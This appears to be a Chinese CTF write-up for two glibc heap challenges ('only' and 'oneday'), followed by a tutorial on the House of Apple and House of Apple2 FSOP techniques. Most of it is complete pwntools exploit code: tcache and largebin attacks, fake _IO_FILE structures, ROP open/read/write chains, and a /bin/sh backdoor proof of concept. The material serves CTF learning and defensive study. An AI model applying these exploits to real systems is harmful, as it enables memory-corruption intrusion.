_IO_wfile_jumps= libc_base + libc.sym['_IO_wfile_jumps']
success("_IO_list_all >> "+hex(_IO_list_all))
success("setcontext+61 >> "+hex(setcontext+61))

pop_rdi_ret = 0x0000000000023b6a + libc_base
pop_rsi_ret = 0x000000000002601f + libc_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
ret = 0x0000000000022679 + libc_base

payload = p64(0)*3 + p64(_IO_list_all-0x20)

edit(1,payload,"b"*0x10)
add2(0x500)

shellcode = asm(
'''
mov rax, 0xc0
mov rbx, 0x500000
mov rcx, 0x5000
mov rdx, 3
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80

mov rdi, 0
mov rsi, 0x502000
mov rdx, 0x100
xor rax, rax
syscall

mov rax, 5
mov rbx, 0x502000
xor rcx, rcx
xor rdx, rdx
int 0x80

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall

mov rdi, 1
mov rax, 1
syscall
''', arch='amd64')

"""
shellcode = asm(
'''
mov rax, 0xc0
mov rbx, 0x500000
mov rcx, 0x5000
mov rdx, 3
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80

mov rdi, 0
mov rsi, 0x502000
mov rdx, 0x100
xor rax, rax
syscall

mov rax, 5
mov rbx, 0x502000
xor rcx, rcx
xor rdx, rdx
int 0x80

mov rax, 0x8d
mov rbx, 3
mov rcx, 0x502000
mov rdx, 0x200
int 0x80

mov rdi, 1
mov rax, 1
mov rsi ,0x502000
mov rdx ,0x200
syscall
''', arch='amd64')
"""

next_chain = 0
fake_io_addr = heap_base + 0x290
shellcode_addr = heap_base + 0x750
payload_addr = heap_base + 0x700
flag_addr = heap_base+0x1000

payload = p64(payload_addr+0x10) + p64(ret)
payload += p64(pop_rdi_ret) + p64(heap_base)
payload += p64(pop_rsi_ret) + p64(0x7000)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect) + p64(shellcode_addr)
payload += shellcode

fake_IO_FILE = p64(0) #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
edit(0,fake_IO_FILE,payload)

#debug()
choice(5)
p.send('flag')

p.interactive()

only

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.\n
1
2
3
4
5
6
only: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=26fd95677098954c2c6ee0e7543a029459dc6f97, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 dele()
{
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
if ( !free_num )
exit(0);
free(chunk);
--free_num;
puts("Done!");
return __readfsqword(0x28u) ^ canary;
}
  • 有个 UAF,但是 2.31 版本的 libc 有 tcache key,不能直接利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 fill()
{
int size; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
if ( fill_key == 0xDEADBEEF ) // 限制一次
{
fill_key = 0;
size = 0x10;
if ( !chunk )
{
printf("Size:");
size = input_num();
if ( size <= 0 || size > 0xE7 )
{
puts("Error");
exit(0);
}
chunk = malloc(size);
if ( !chunk )
{
puts("Error");
exit(0);
}
}
memset(chunk, 0, size);
}
return __readfsqword(0x28u) ^ canary;
}
  • 这个函数可以置空 tcache key,但只能执行一次

入侵思路

程序拥有一次任意写的机会,但是没有泄露,对于这种要爆破的程序,建议先关地址随机化:

1
echo 0 > /proc/sys/kernel/randomize_va_space 

只能先打 stdout 泄露 libc,思路如下:

  • 先利用 double free 错位写一个 free tcache
  • 伪造它的 presize,size(较大值),FD(覆盖低位)
  • 把它申请出来然后释放,就可以得到 unsorted chunk
  • 先申请一次 unsorted chunk,并将 main_arena 覆盖为 stdout
  • 如果堆风水够好的话,就会发现 stdout 在 tcache[0x70] 中(最好是这种情况,我也尝试过用 unsorted chunk 来覆盖其他的 free tcache,结果总是超出“申请模块”的次数限制)
1
2
0x70 [  6]: 0x55555555b800 —▸ 0x7ffff7f896a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
0x80 [ 5]: 0x55555555b870 —▸ 0x55555555b980 —▸ 0x55555555bc10 —▸ 0x55555555bec0 —▸ 0x55555555ba90 ◂— 0x0

完成泄露以后,就可以利用现成的 unsorted chunk 来修改与其重叠的 free tcache,把 free_hook 写入到 tcachebin 中

1
0x80 [  5]: 0x55555555b870 —▸ 0x7ffff7f8bb28 (__free_hook) ◂— 0x0

最后就是一个堆上 ORW 的过程了,因为没有泄露堆地址,所以常规的 setcontext+61libc.sym['svcudp_reply']+26 都没有作用,只能用特殊的 magic gadget 来进行栈迁移

我们先在 free_hook 的位置写一个 puts,然后分析寄存器的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0x7ffff7e245a0 (puts) ◂— endbr64 
RBX 0x555555555950 ◂— endbr64
*RCX 0x0
*RDX 0xfffffffffffffffe
*RDI 0x7ffff7f8bb28 (__free_hook) —▸ 0x7ffff7e245a0 (puts) ◂— endbr64
*RSI 0x555555555778 ◂— lea rax, [rip + 0x2899]
*R8 0x1999999999999999
*R9 0x0
*R10 0x7ffff7f3bac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
*R11 0x7ffff7f3c3c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002
R12 0x555555555240 ◂— endbr64
R13 0x7fffffffdf50 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x7fffffffde40 —▸ 0x7fffffffde60 ◂— 0x0
*RSP 0x7fffffffde28 —▸ 0x555555555778 ◂— lea rax, [rip + 0x2899]
*RIP 0x7ffff7e245a0 (puts) ◂— endbr64
  • 只有 RDI 寄存器可以利用
  • 因此我们要把 ORW 链写入 free_hook,然后利用 RDI 寄存器来进行栈迁移
  • 首先,在完成栈迁移之前我们不能使用栈,因此需要 call 来连接 gadget:(可以先把带有 call 的 gadget 保存到另一个文件中,然后搜索 RDI)
1
mov rax, qword ptr [rdi + 8]; call qword ptr [rax + 0x30]; 
  • 想这种基于 RAX 的 call 我们一般不采用,虽然它很多,但是很难进行栈迁移
  • 我们通常使用 RDI,RSI,RDX,RBP 这4个寄存器来做栈迁移,因此优先使用带有它们的 call
1
2
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
mov rsp, rdx; ret;

由于写入长度受限,我们需要手动执行一次 gets 写入 ORW 链

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from pwn import *

arch = 64
challenge = './only'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

"""
local = 1
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')
"""

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x1B0A)\n")
pause()

def choice(num):
p.sendlineafter("Choice >> ",str(num))

def fill():
choice(0)

def add(size,content):
choice(1)
p.sendlineafter("Size:",str(size))
p.sendlineafter("Content:",str(content))

def dele():
choice(2)

def pwn():
add(0xe0,"a")
dele()
fill()
dele()

success("stdout >> "+hex(libc.sym["_IO_2_1_stdout_"]))
_IO_2_1_stdout_offset = 0x96a0
head_offset = 0xb7f0
head_offset2 = 0xb800

add(0xe0,p16(head_offset))
add(0xe0,p16(head_offset))
add(0xe0,p64(0)+p64(0x491)+p16(head_offset2))

add(0x60, "a")
dele()
add(0x30, p16(_IO_2_1_stdout_offset))
add(0x60, "a")

payload = p64(0xfbad1887) + p64(0)*3 + '\x00\n'
add(0x60, payload)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym["_IO_2_1_stdin_"]
success("libc_base >> " + hex(libc_base))
free_hook = libc_base+libc.sym["__free_hook"]
puts_libc = libc_base+libc.sym["puts"]
gets_libc = libc_base+libc.sym["gets"]
success("free_hook >> " + hex(free_hook))

gadget1 = libc_base + 0x00000000001547a0
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget2 = libc_base + 0x000000000005e650
# mov rsp, rdx; ret;
gadget3 = libc_base + 0x000000000004a5c5
# add rsp, 0x28; ret;
success("gadget1 >> " + hex(gadget1))

pop_rax_ret = libc_base + 0x000000000004a550
pop_rdi_ret = libc_base + 0x0000000000026b72
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c1e1
syscall_ret = libc_base + 0x0000000000066229
success("syscall_ret >> " + hex(syscall_ret))

payload = p64(0)*5 + p64(0x81) + p64(free_hook)
add(0xe0, payload)

flag_addr = free_hook + 0x50

ORW = "./flag".ljust(8,"\x00")
# open(bss_addr,0)
ORW += p64(pop_rax_ret) + p64(2)
ORW += p64(pop_rdi_ret) + p64(flag_addr)
ORW += p64(pop_rsi_ret) + p64(0)
ORW += p64(pop_rdx_r12_ret) + p64(0) + p64(0)
ORW += p64(syscall_ret)
# read(3,bss_addr,0x60)
ORW += p64(pop_rax_ret) + p64(0)
ORW += p64(pop_rdi_ret) + p64(3)
ORW += p64(pop_rsi_ret) + p64(flag_addr+0x300)
ORW += p64(pop_rdx_r12_ret) + p64(0x60) + p64(0)
ORW += p64(syscall_ret)
# write(1,bss_addr,0x60)
ORW += p64(pop_rax_ret) + p64(1)
ORW += p64(pop_rdi_ret) + p64(1)
ORW += p64(pop_rsi_ret) + p64(flag_addr+0x300)
ORW += p64(pop_rdx_r12_ret) + p64(0x60) + p64(0)
ORW += p64(syscall_ret)

payload = p64(gadget1) + p64(free_hook+0x10)
payload += p64(gadget3) + p64(0)*3 + p64(gadget2) + p64(0) + p64(pop_rdi_ret) + p64(free_hook+0x50) + p64(gets_libc)

add(0x70, "a")
add(0x70, payload)

#debug()
dele()

p.sendline(ORW)
p.interactive()

if __name__ == "__main__":
elf = ELF(challenge)
libc = ELF('libc.so.6')
while True:
try:
p = process(challenge,timeout=1)
pwn()
except Exception:
p.close()

"""
elf = ELF(challenge)
libc = ELF('libc.so.6')
p = process(challenge)
pwn()
"""

oneday

1
GNU C Library (GNU libc) stable release version 2.34.\n
1
2
3
4
5
6
oneday: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f0ed246b7bd4e5f07caab6ba718a7e0e05c918b7, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
  • 禁用 execve

入侵思路

使用 House Of Apple2:

  • 先用一个 largebin attack 来劫持 stderr _IO_FILE
  • 完成 House Of Apple2 的伪造
  • main 函数返回后执行 exit,触发 IO 流

这其中需要注意一个问题,该程序只有一次输出的机会,也就是说 largebin attack 和 _IO_FILE 的伪造必须放入用一个 chunk 中

但 largebin attack 的效果是把 unsorted chunk 放入 _IO_list_all,那么就必须先利用堆风水让 unsorted chunk 和 large chunk 重叠

  • 具体的方法就是释放遗留在 chunk_list 中的 chunk 指针(向 large chunk 写入数据时,就要伪造目标 chunk,使其合法)

调用链如下:

1
exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_overflow -> _IO_wdoallocbuf -> target

本题目还需要一个特殊的 gadget 来劫持程序流 libc.sym['svcudp_reply']+26,它的效果和 setcontext+61 类似,但它需要控制 RDI 寄存器:

1
2
3
4
5
6
0x7f02e97842ba <svcudp_reply+26>    mov    rbp, qword ptr [rdi + 0x48]
0x7f02e97842be <svcudp_reply+30> mov rax, qword ptr [rbp + 0x18]
0x7f02e97842c2 <svcudp_reply+34> lea r13, [rbp + 0x10]
0x7f02e97842c6 <svcudp_reply+38> mov dword ptr [rbp + 0x10], 0
0x7f02e97842cd <svcudp_reply+45> mov rdi, r13
0x7f02e97842d0 <svcudp_reply+48> call qword ptr [rax + 0x28]
  • 由于本题目没法控制 RDX 寄存器,因此才用这种方式来替代 setcontext+61
  • RDI 寄存器其实就指向 fake_IO_FILE 的起始地址,也就是 fake_io_addr

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
from pwn import *

arch = 64
challenge = './oneday1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x1B0A)\n")
pause()

def choice(i):
p.sendlineafter("enter your command: \n",str(i))

def add(mod):
choice(1)
p.sendlineafter("choise: ",str(mod))

def dele(index):
choice(2)
p.sendlineafter("Index: \n",str(index))

def edit(index,message):
choice(3)
p.sendlineafter("Index: ",str(index))
p.sendafter("Message: \n",message)

def show(index):
choice(4)
p.sendlineafter("Index: ",str(index))

p.sendlineafter("enter your key >>\n",str(10))

add(2)
add(2)
add(2)
add(2)
add(2)
dele(2)
dele(0)
show(0)

p.recvuntil("Message: \n")

leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x1810
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

leak_addr = u64(p.recv(8))
libc_base = leak_addr - 0x1f2cc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

_IO_list_all = libc_base + libc.sym["_IO_list_all"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
magic_gadget = libc_base + libc.sym['svcudp_reply'] + 26
success("_IO_list_all >> "+hex(_IO_list_all))
success("magic_gadget >> "+hex(magic_gadget))

pop_rax_ret = 0x00000000000446c0 + libc_base
pop_rdi_ret = 0x000000000002daa2 + libc_base
pop_rsi_ret = 0x0000000000037c0a + libc_base
pop_rdx_rbx_ret = 0x0000000000087729 + libc_base
syscall_ret = 0x00000000000883b6 + libc_base
leave_ret = 0x0000000000052d72 + libc_base
ret = 0x000000000002d446 + libc_base
add_rsp_ret = 0x0000000000103936 + libc_base

dele(1)
dele(3)
dele(4)
add(1)
add(1)
add(2)
add(1)
dele(7)
dele(8)
add(1)
add(1)
add(1)

fake_io_addr = heap_base + 0x22d0
flag_addr = heap_base + 0x2540
shellcode_addr = heap_base + 0x2540

shellcode = "./flag".ljust(0x8,"\x00")
shellcode += p64(add_rsp_ret)
shellcode = shellcode.ljust(0x18, '\x00')
shellcode += p64(shellcode_addr)
shellcode = shellcode.ljust(0x28, '\x00')
shellcode += p64(leave_ret)
shellcode += p64(0)*5
# open(heap_addr,0)
shellcode += p64(pop_rax_ret) + p64(2)
shellcode += p64(pop_rdi_ret) + p64(flag_addr)
shellcode += p64(pop_rsi_ret) + p64(0)
shellcode += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
shellcode += p64(syscall_ret)
# read(3,heap_addr,0x60)
shellcode += p64(pop_rax_ret) + p64(0)
shellcode += p64(pop_rdi_ret) + p64(3)
shellcode += p64(pop_rsi_ret) + p64(flag_addr+0x300)
shellcode += p64(pop_rdx_rbx_ret) + p64(0x60) + p64(0)
shellcode += p64(syscall_ret)
# write(1,heap_addr,0x60)
shellcode += p64(pop_rax_ret) + p64(1)
shellcode += p64(pop_rdi_ret) + p64(1)
shellcode += p64(pop_rsi_ret) + p64(flag_addr+0x300)
shellcode += p64(pop_rdx_rbx_ret) + p64(0x60) + p64(0)
shellcode += p64(syscall_ret)

chunkA = "chunka" # fake_io_addr+0xe0
chunkA = chunkA.ljust(0xe0, '\x00')
chunkA += p64(fake_io_addr+0x200)

chunkB = "chunkb" # fake_io_addr+0x200
chunkB = chunkB.ljust(0x68, '\x00')
chunkB += p64(magic_gadget)

fake_IO_FILE = p64(0) #_flags=0
fake_IO_FILE += p64(0xab1-0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0x48, '\x00')
fake_IO_FILE += p64(shellcode_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(0xffffffffffffffff)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(libc_base+0x1f5720) # _lock
fake_IO_FILE += p64(0xffffffffffffffff)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE += p64(fake_io_addr+0xe0)# _wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps) # vtable=IO_wfile_jumps
fake_IO_FILE = fake_IO_FILE.ljust(0xe0, '\x00')
fake_IO_FILE += chunkA
fake_IO_FILE = fake_IO_FILE.ljust(0x200, '\x00')
fake_IO_FILE += chunkB

payload = ""
payload += p64(heap_base)+p64(_IO_list_all-0x20)
payload += fake_IO_FILE
payload += shellcode
payload = payload.ljust(10*0x110-0x10,"\x00")
payload += p64(0) + p64(0xab1)

dele(10)
add(3)
edit(8,payload)
dele(3)
add(3)
debug()

choice(6)

p.interactive()

小结:

本题目我花了很长的时间,从堆风水的搭建,到 _IO_FILE 的伪造,再到控制程序流,这些步骤都不好完成

但 House Of Apple2 的确很好用,常常需要 libc.sym['svcudp_reply']+26 来劫持控制流

而 House Of Apple 则可以利用一次 largebin attack 来同时写入多个已知数据

House Of Apple

House Of Apple 可以在仅使用一次 largebin attack 并限制读写次数的条件下进行 FSOP 利用

此方法利用成功的前提是已经泄露出 libc_base 地址和 heap_base 地址


House Of Apple 原理

当程序从 main 函数返回或者执行 exit 函数的时候,均会调用 fcloseall 函数,该调用链为:

1
exit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wstrn_overflow
  • 最后会遍历 _IO_list_all 存放的每一个 IO_FILE 结构体
  • 如果满足条件的话,会调用每个结构体中 vtable->_overflow 函数指针指向的函数

使用 largebin attack 可以劫持 _IO_list_all 变量,将其替换为伪造的 IO_FILE 结构体,而在此时,我们其实仍可以继续利用某些IO流函数去修改其他地方的值

要想修改其他地方的值,就离不开 _IO_FILE 的一个成员 _wide_data 的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

我们在伪造 _IO_FILE 结构体的时候,伪造 _wide_data 变量,然后通过某些函数,比如 _IO_wstrn_overflow 就可以将已知地址空间上的某些值修改为一个已知值

House Of Apple 利用姿势

使用 house of apple 的条件为:

  • 程序从 main 函数返回或能调用 exit 函数
  • 能泄露出 libc_base 地址和 heap_base 地址
  • 能使用一次 largebin attack(一次即可)

先利用 largebin attack 劫持 _IO_list_all,然后伪造一个 stderr IO_FILE

  • stderr+0x28 = -1(stderr->_IO_write_ptr)
  • stderr+0x74 = 8(stderr->_flags2)
  • stderr+0xa0 = target(stderr->_wide_data)
  • stderr+0xd8 == _IO_wstrn_jumps(stderr->vtable)

最后调用 exit 完成修改(因为 stderr IO_FILE 被伪造,因此程序不会真的退出)

使用案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");

size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr = puts_addr + 0x1691a0;
size_t stderr_write_ptr_addr = stderr + 0x28;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = stderr + 0x74;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = stderr + 0xa0;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = stderr + 0xd8;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = stderr - 0x4960;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;

puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;

puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;

puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;

puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}
  • 结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
exp ./test
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55a85a8bc2a0]: 0x1122334455667788 0x1122334455667788
[0x55a85a8bc2b0]: 0x1122334455667788 0x1122334455667788
[0x55a85a8bc2c0]: 0x1122334455667788 0x1122334455667788
[0x55a85a8bc2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f6c95c1c420
[*] stderr->_IO_write_ptr address: 0x7f6c95d855e8
[*] stderr->_flags2 address: 0x7f6c95d85634
[*] stderr->_wide_data address: 0x7f6c95d85660
[*] stderr->vtable address: 0x7f6c95d85698
[*] _IO_wstrn_jumps address: 0x7f6c95d80c60
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55a85a8bc2a0]: 0x00007f6c95d856b0 0x00007f6c95d857b0
[0x55a85a8bc2b0]: 0x00007f6c95d856b0 0x00007f6c95d856b0
[0x55a85a8bc2c0]: 0x00007f6c95d856b0 0x00007f6c95d856b0
[0x55a85a8bc2d0]: 0x00007f6c95d856b0 0x00007f6c95d857b0
===========================new value=======================
  • 成功对堆上的数据进行了修改

上面这种用法只能实现已知地址任意写(和 largebin attack 的效果类似),下面这种利用方式可以直接劫持程序流程(称为 house of apple2)

House Of Apple2 原理

stdin/stdout/stderr 这三个 _IO_FILE 结构体会以 _IO_file_jumps 为虚表,而其中的函数 IO_validate_vtable 负责检查 vtable 的合法性

但在调用虚表 _wide_vtable 里面的函数时,并没有检查 vtable 的合法性

因此,我们可以劫持 IO_FILEvtable_IO_wfile_jumps,控制 _wide_data 为可控的堆地址空间,进而控制 _wide_data->_wide_vtable 为可控的堆地址空间,然后控制程序的执行流:

1
_IO_wdefault_xsgetn -> _IO_switch_to_wget_mode -> backdoor

House Of Apple2 利用姿势

使用 house of apple2 的条件为:

  • 能泄露出 libc_base 地址和 heap_base 地址
  • 能控制程序执行IO操作:
    • main 函数返回
    • 调用 exit 函数
    • 通过 __malloc_assert 触发
  • 能控制 _IO_FILEvtable_wide_data(一般使用 largebin attack去控制)

使用案例如下:(使用 _IO_wdefault_xsgetn 调用链)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
system("/bin/sh");
}

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);

char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");

size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x84420;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);

size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0x800");
*(size_t *)stderr2 = 0x800;

puts("[+] step 2: change stderr->_mode to 1");
*(size_t *)(stderr2 + 0xc0) = 1;

puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
*(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;

puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
